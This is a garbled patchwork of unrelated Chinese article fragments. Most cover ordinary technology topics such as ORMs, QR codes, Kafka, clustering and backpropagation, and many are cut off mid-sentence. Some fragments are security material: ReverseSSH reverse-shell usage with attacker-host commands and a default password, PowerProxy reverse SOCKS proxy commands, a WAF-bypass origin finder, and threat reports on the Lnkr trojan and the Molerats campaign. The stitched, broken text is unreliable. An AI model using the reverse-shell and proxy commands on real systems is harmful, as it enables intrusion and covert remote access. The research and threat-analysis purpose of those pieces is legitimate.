graph-ocean 简介 graph-ocean 是一款基于 nebula-java 客户端的 ORM（Object Relational Mapping）框架，熟悉 ORM 的小伙伴应该都知道 ORM...业务代码侵入性的特性是由于顶点和边的枚举所带来的，枚举的作用是定位 Tag 或者 Edge，而想要从实体类上无侵入地获取这些信息，我想到了模仿 JPA（Java Persistence API）注解的方式...于是，graph-ocean 在脑海中便有了初步模样，实体类一旦确定，对应的 Tag 或者 Edge 应该也是确定的，所以可以用到缓存来提高性能。...graph-ocean 的简单使用 graph-ocean 是由 Java 注解、反射、缓存、字符串拼接、nebula-java 连接池、session 管理等部分组成的。...使用者如果有熟练的反射和连接池的开发经验就可以快速上手了，如果没有也没关系，主要抓住 NebulaSessionPoolManager（session 管理）、GraphMapper（基础的数据库操作类
下面将为大家一一揭晓，一起来看看一个普通的黑白格子二维码，究竟隐藏着什么秘密。 1、什么是二维码 在二维码没有出来之前，只有一维码。在商品背部，一般都会有条形码，条形码也称为一维码。...原因是二维码背后隐藏的是二进制代码，我们看到的二维码的黑色块表示“1”，白色块则表示“0”。 一个二维码就由一串“001101...”的二进制代码表示。这种代码就可以存储很多种类型的信息了。...二维码类型有很多种，我们常用的二维码是QR Code。最早是在1994年由日本发明的。...因为对于 “01101” 这种底层的二进制代码，机器识别很快，所以扫码速度就特别快啦。 2、二维码的组成 一个黑白格子的二维码一般由以下4部分组成。...二维码的信息越少，它的冗余信息就越多。所以二维码信息越少，容错率越高，可高达30%。 这就是有时候扫描损坏的二维码也能正常的原因啦。 4、腌码图案 腌码图案主要是用来提升识别度。
关于ReverseSSH ReverseSSH是一款功能强大的静态链接SSH服务器，ReverseSSH带有反向Shell功能，可以帮助广大研究人员提供强大的远程访问功能。...功能介绍 常见的Shell工具一般都缺少一些方便的功能，比如说完全交互式访问、Tab键补全或历史记录等。.../反向Shell使用； 支持Unix和Windows操作系统； 工具要求 本工具的正常使用要求主机系统安装并配置好Golang环境。...RHOST> whoami # 完整的文件传输 sftp -P # 端口9050上作为SOCKS代理的动态端口转发 ssh -p -D 9050 <RHOST.../reverse-ssh # 攻击者主机(默认密码: letmeinbrudipls) attacker$ssh -p 31337 反向Shell场景 # 攻击者主机 attacker
关于PowerProxy PowerProxy是一款功能强大的PowerShell Socks代理工具，该工具带有反向代理功能，可以帮助广大安全研究人员更加轻松地完成某些特定场景下的渗透测试任务。...PowerProxy专为渗透测试人员设计，在遍历阻止入站连接的网络时，反向代理功能肯定是要优先考虑的。在默认情况下，反向代理连接会经过加密处理，而Socks5连接也支持基于用户名和密码的身份验证。...如果你的设备上没有安装OpenSSL的话，这需要使用你自己的证书，或者使用“--no-encrypt”选项，不过大多数Linux或类Unix系统默认都会安装有OpenSSL。.../reverse_proxy_handler.py --help 运行一个反向代理 在本地设备上，使用下列命令开启一个Handler，此时Handler将会监听端口8080上的反向代理，客户端默认将连接至端口...PowerShell窗口中，运行下列命令： Start-ReverseSocksProxy 172.1.1.20 -Port 8080 代理客户端此时会将reverse_proxy_handler.py脚本创建的服务器当作实际的
在公主的哭闹下，臣仆一个个死去，终于轮到了一个聪明的，他接到任务后，来到公主前谦卑的问：“亲爱的公主啊，请告诉愚昧的臣仆，月亮是什么啊？”公主不耐烦的说：“月亮是什么你都不知道！...当这些浮躁的情绪在整个行业里绵延的时候，我们又能不能沉下心来，真正的去深入用户需求分析呢。今天TOMsInsight的主题是：那些用户需求分析背后隐藏的门槛。...说的直接点，就是由于我们和我们的用户群体根本不是一类人，就没法深入的去把握用户的需求，总是被自己的观点所误导。 一般水平的专业分析人员或多或少的都会被这个门槛挡住。...同理，当我们没有体系化的对用户心理、行为进行认知，只能利用这个群体的部分心理诉求的时候，对这个用户群体的需求的了解，并不能算平衡，依据此需求设计的产品，一般会呈现火一时但是不长久的状态。...这其实也是用户需求的两个极端：一种是精神世界的满足，正如莫言所说“文学的最大的用处，也许就是它没有用处”；另一种是平衡之美，用创新的工具来重新构建我们的社会关系和人与万物的和谐。
根据安恒APT云端在对来自北美的流量监控过程中，发现一封来自美国的可疑邮件，该邮件的主题是《您收到的优惠券》，发件人名称显示为“天猫”。...但进一步对发件人的邮箱链接分析，发现实际发件人邮箱并非来自阿里巴巴。通过对邮箱服务器所属区域分析，发现该服务器位于美国。 另外，该邮件还有一个压缩包格式的附件，其中包含的样本实际类型为exe。...根据安恒APT云端近半年监控到的数据，发现来自同一区域的攻击多达数万次，其最终攻击目的都是以获取权限和控制为主，攻击具有极强的隐蔽性、针对性和持续性，常规基于杀毒软件、防火墙的安全防护能力不再适用，加强预警意识和提高防范能力...同时，结合安恒APT云端可为用户提供更为深层的威胁分析服务、安全预警服务和情报共享服务，依托于云端的海量数据、高级的机器学习和大数据分析能力，可及时共享最新的安全威胁情报，提供更为精准的威胁分析能力，用户也可直接访问云端...，上传、查询和确认样本的分析结果，感知最新的安全情报。
红点创投著名投资人 Tomasz Tunguz 针对非常规的市场需求与价格波动，隐藏在定价背后的经济观点。...就像上图中所画的那样，在常规的供求关系图中，价格增长与之相伴的就是需求减少；消费者是理智的，在课本里这个定律是一成不变的。但是，事实并非如此。现实当中，消费者无时不刻地在打破这种常规的供求关系模型。...比如，韦伯伦商品就是一类挑战常规的定价法则的商品。这个概念起初就是由托斯丹·韦伯伦所提出的，20世纪初他曾执教于斯坦福大学，韦伯伦商品的需求会因价格的提高而增长。...曾担任过Zendesk公司首席营销官的Bill Macaitis，在和其营销团队在面对爆发式增长的中小型企业客户时，就引用了韦伯伦现象来形容当前的市场形势。...如今，Zendesk公司的企业套餐价格是标准套餐的10倍之高。 企业级用户，就像是韦伯伦口中的“有闲阶级”那样，他们和其他用户的消费偏好不同。
聚类（Clustering）是数据挖掘中的一种无监督学习方法，旨在根据数据点之间的相似性将数据划分成不同的组或簇。在同一个簇中的数据点具有较高的相似性，而不同簇中的数据点则有较大的差异性。...K均值聚类是一个经典的算法，易于实现且计算速度较快，因此成为了数据分析中的常见工具。 2. K均值聚类的基本原理 2.1 聚类的概念 聚类分析的目标是发现数据中的自然分组。...在机器学习中，聚类属于无监督学习，即没有标签的训练数据。聚类通过度量数据点之间的相似性，自动将数据划分成不同的类别或簇。与分类任务不同，聚类没有预定义的类别标签，它依赖于数据自身的结构进行划分。...K均值聚类的目标是通过最小化簇内点到簇中心（质心）的距离，优化数据点的聚类效果。 K均值聚类的工作原理简单但高效，能够快速处理大规模数据集。 3....通过将图像中的像素色彩聚类为有限数量的簇，可以极大地减小图像数据的存储空间，同时保持图像的整体视觉效果。 在图像压缩任务中，每个簇代表一种颜色，簇的质心代表该簇的主要颜色。
日前，在加利福尼亚的Hot Chips大会上，微软的设备工程师尼克·贝克（NickBaker）终于就HPU的内部构造及性能进行了详细的说明。它与市面上的许多其他设备还是有着比较大的差别的。...这个HPU采用了24 个TensilicaDSP核心，每一个都能处理单独的传感器的输入和输出数据，帮助渲染用户看到的HoloLens增强现实的视觉效果。...该HPU还配备了英特尔的Atom x86芯片，带有1GB的LPDDR3内存。所有这些元件都捆绑在了一个12×12mm大小的集成包中，使得该芯片十分紧凑。...这对于像HoloLens头显这样的移动设备是非常重要的，大大减小了占用的体积。 另一个重要的方面是能耗。...如果HPU需要数百瓦的功率，它很快就会耗尽内部的电池，但微软的设计非常节能，在使用的时候消耗不到10瓦的能耗，在发送到CPU之前，它会预先进行数据的处理，从而降低了Atom芯片的工作量。
在人工智能领域，关联规则挖掘是一项至关重要的技术，它能够发现数据集中项与项之间的潜在关联关系，为决策提供有价值的依据。以下是关于人工智能中关联规则挖掘的方法与过程。...- 衡量指标：支持度表示数据集中同时包含特定项集的事务百分比，反映项集出现的频繁程度；置信度是在包含前项的事务中，同时包含后项的事务百分比，体现规则的可靠性；提升度则衡量前项对后项的提升作用，大于1表示正相关...- 频繁项集挖掘：这是关联规则挖掘的核心步骤，通过各种算法找出所有支持度不小于最小支持度阈值的频繁项集。如在大量的销售记录中，找出经常一起被购买的商品组合。...- 在网络安全中的应用：分析网络流量数据和用户行为数据，发现异常行为模式与潜在攻击之间的关联，实现入侵检测和网络安全防护。总之，关联规则挖掘在人工智能领域有着广泛的应用和重要的价值。...随着数据量的不断增长和技术的发展，新的挖掘算法和优化方法将不断涌现，帮助人们更高效、更准确地发现数据中的关联规则，为各领域的决策和发展提供有力支持。
image.png 一场活跃的间谍活动被归咎于名为 Molerats 的威胁行为者，他们滥用合法的云服务（如 Google Drive 和 Dropbox）来托管恶意软件有效负载，并用于命令和控制以及从整个中东目标窃取数据...image.png Zscaler 详述的最新活动没有什么不同，它利用与以色列和巴勒斯坦之间持续冲突相关的诱饵主题在受感染系统上提供 .NET 后门，进而利用 Dropbox API 与攻击者控制的服务器并传输数据...该植入程序使用特定的命令代码来控制受感染的机器，支持拍摄快照、列出和上传相关目录中的文件以及运行任意命令的功能。...研究人员在调查攻击基础设施时表示，他们发现至少有五个用于此目的的 Dropbox 帐户。...Zscaler ThreatLabz 研究人员 Sahil Antil 和 Sudeep 表示：“这次活动的目标是由威胁行为者专门选择的，他们包括巴勒斯坦银行业的关键成员、与巴勒斯坦政党有关的人，以及土耳其的人权活动家和记者
这篇文章介绍了苹果在机器学习领域的最新成果，以下是内容摘要： 神经网络的大多数成功实例都是由监督训练得来的。...借着智能音箱的东风，亚马逊的 Alexa 显然占据了更多的报道篇幅。 不过，从2016年下半年开始，苹果明显加大了对人工智能的投入，并改变了以往封闭的态度，变得更加开放。...不仅推出自己的技术博客，还欢迎外界的交流，并趁机插入自己的招聘广告。...许多人推销未来，但我们不是这样的。在本周的开发者大会上，所有我们所谈到的都是要在今年发布的东西。...作为科技公司，我们关注产品背后的科技。消费者只关心产品是否好用。 不过，虽然库克认为苹果在 AI 领域并不落后，但是外界的看法短时间内还很难改变，毕竟谷歌、Facebook 等竞争对手的声势太大。
但是在大数据领域的消息系统这块除了近些年宣传的比较火的 Apache Pulsar 勉强一争外，基本上都是 Kafka 一家独大，或者是类似于 Kafka 的架构。那么 Kafka 有什么特别的呢？...抛开那些谈烂了的技术细节，比如零拷贝、语义之类的东西，读者真感兴趣的话可以关注 Kafka 的官方文档，或者是以官方文档为准看各种国内大牛写的博客，本文不再赘述。...data's unifying abstraction，不想读原文的看可以看笔者之前写的一篇文章《不一样的日志》。...在日常的软件开发中，日志的重要性往往被忽视了。对了，这里的日志指的不是应用程序打印出来的为了查看应用程序运行状况的日志，而是只能增加的，完全按照时间排序的一系列记录。...因此我们在使用 Kafka 时也不要忘了它背后的功臣，日志。 日志，不仅仅是隐藏在 Kafka 背后的幽灵，也是大数据和分布式系统领域的缔造者。
目前在配置node express 的 url rewrite Before the URL gets to Express' static middleware, we...index.html)/,"$1"); > "http://localhost:8080/newcss/act/act1/index.html/aaa" //不生效 //我们来看下match的...//$1 index: 21, input: "http://localhost:8080/newcss/act/act1/index.html/aaa" ] //match的结果完全正常...，而且 $1 就是我们想要的，但是为什么就replace不行了呢？？？？？...//我在replace后再加一个括号匹配剩下的url就正常了。如下： > url.replace(/(\/newcss\/.+?index.html)(.*)?
本文从黑产攻击方式、木马恶意行为、监控及防御方案等角度对Lnkr木马进行分析，此类木马影响范围较广，攻击手法多样，但目前国内相关的资料却非常稀少，希望本文的实践经验和总结能对从事相关安全检测的同学有所帮助...2.3 插件恶意代码分析 为了进一步研究该组织木马的特征，我们对该恶意插件的代码进行了人工分析。恶意插件的代码量较大，结构混乱，包含大量干扰代码。...2.4 通过已发现的IoC深入排查 通过上述特征，发现大量与Lnkr木马相关的域名和插件，部分并未出现在已知的威胁情报中，经进一步分析发现，移动终端设备也有触发恶意请求的情况。...除此之外我们也发现国内多个大型站点在自身引用资源上引入了Lnkr木马，用户如果访问到这些站点，Cookie信息会被直接发送到远端，存在极高的安全风险。...Lnkr木马的核心域名之一cdngateway.net在全球域名流量排名8900位，从流量来源角度，通过外部网站跳转带来的流量占比总流量的65.48%，可见其攻击范围极广，受其影响的应用、用户数量也是非常庞大的
关于hakoriginfinder hakoriginfinder是一款功能强大的网络安全工具，在该工具的帮助下，广大研究人员可以轻松识别反向代理背后的真实原始主机。...一般来说，这种技术适用于红队研究工作中针对Web应用防火墙的绕过和其他反向代理安全方面的任务。 ...工具运行机制 hakoriginfinder首先会向研究人员提供的主机名称发送一个HTTP请求，并存储目标主机返回的响应信息。...使用-h参数则可以直接设置主机名称，这个参数是没有默认值的，为必填选项。 输出结果 该工具的输出结果为三列，其中以空格划分。...第二列为测试的URL地址，第三列则为Levenshtein算法的评分。
js这门语言有很多诟病，然而很多被无视的点，构成了js最为美妙的语言特性。这篇文章将带你走进魔术般的引用型数据类型和原型链背后，寻找那些被遗忘的超能力。...并且，基于这些超能力，我们将实现功能极其复杂，但可以达到极为绝妙的架构设计。 引用型数据类型 称法有很多，但是在我这里，我统一称这种借鉴于java的数据结构为引用型数据类型。...除去几种基本数据类型，其他所有类型都是引用型数据类型。所谓引用型数据类型，是指变量保持内存地址指针，当该指针对应的具体内容发生变化时，指向同一指针的所有变量同时发生变化。...它背后的原理，就是利用原型链的继承来实现。 核级应用：数据快照vs数据版本控制 前面讲了那么多，有没有更感性的方式，让我们可以对这些无关痛痒的话题更加在意呢？...小结 也许，你对js的爱憎分明，你渴望它更加完美，但是非常遗憾的是，每一门语言都不可能完美，否则世界上只需要一门语言，然而正式因为语言的多样性，这个世界才更加有趣。
雷军的商业眼光和对科技趋势的敏锐洞察力在业界有目共睹，他的发声往往预示着科技领域的重大变革和发展方向。那么，雷军力荐学 AI 的背后，究竟隐藏着怎样的时代密码？...监督学习是指在有标签数据的基础上进行学习，通过训练模型来预测新数据的标签。例如，在图像分类任务中，给模型提供大量带有标签的图像（如猫、狗等），模型学习这些图像的特征，然后对新的图像进行分类。...七、雷军建议背后的时代洞察： 7.1 行业发展趋势的精准把握： 雷军力荐学习 AI，体现了他对行业发展趋势的精准把握。从科技行业的发展历程来看，每一次重大的技术变革都会带来新的机遇和挑战。...线性代数中的矩阵运算在深度学习中非常重要，例如在神经网络的前向传播和反向传播过程中，都涉及到大量的矩阵乘法和加法运算。 概率论与数理统计则用于处理数据的不确定性和随机性。...九、本篇小结： 雷军力荐学习 AI，这一建议背后蕴含着对时代发展趋势的深刻洞察。在当今科技飞速发展的时代，AI 已经成为推动各个领域进步和变革的核心力量。
反向传播是神经网络通过调整神经元的权重和偏差来最小化其预测输出误差的过程。但是这些变化是如何发生的呢?如何计算隐藏层中的误差?微积分和这些有什么关系?在本文中，你将得到所有问题的回答。让我们开始吧。...这个过程称为反向传播。 神经网络中的前向传播 NN 基本上由三种类型的层组成。输入层、隐藏层和输出层。...将这些从单个神经元网络的梯度计算中获得的知识外推到具有四层的真正神经网络：一个输入层、两个隐藏层和一个输出层。...因此在每次训练迭代中，当针对权重的损失计算梯度时，同时计算相对于偏差的损失的梯度。 对于隐藏层，损失函数相对于前一层激活函数的推导也将使用链式法则单独计算。...因此梯度被反向传播并且每个节点的偏差被调整。 总结 当损失被反向传播和最小化时，这就是在每个训练循环期间发生的所有事情。
其实网络代理的玩法真的很多。之前知道如何使用，今天我们看看代理背后的故事。 我们以nginx为例，常用的代理技术有：正向代理、反向代理和透明代理。...从网站的角度，只在代理服务器来取内容的时候有一次记录，有时候并不知道是用户的请求，也隐藏了用户的资料，这取决于代理告不告诉网站。 还不懂？...4：代理可以记录用户访问记录（上网行为管理），对外隐藏用户信息 目标服务器并不知道访问自己的实际是用户A，因为代理服务器代替用户A去直接与目标服务器进行交互。...反向代理的作用： 1：保证内网的安全，可以使用反向代理提供WAF功能，阻止web攻击 (大型网站，通常将反向代理作为公网访问地址，Web服务器是内网)...2：负载均衡，通过反向代理服务器来优化网站的负载 当反向代理服务器不止一个的时候，我们甚至可以把它们做成集群，当更多的用户访问目标服务器的时候，让不同的代理服务器去应答不同的用户
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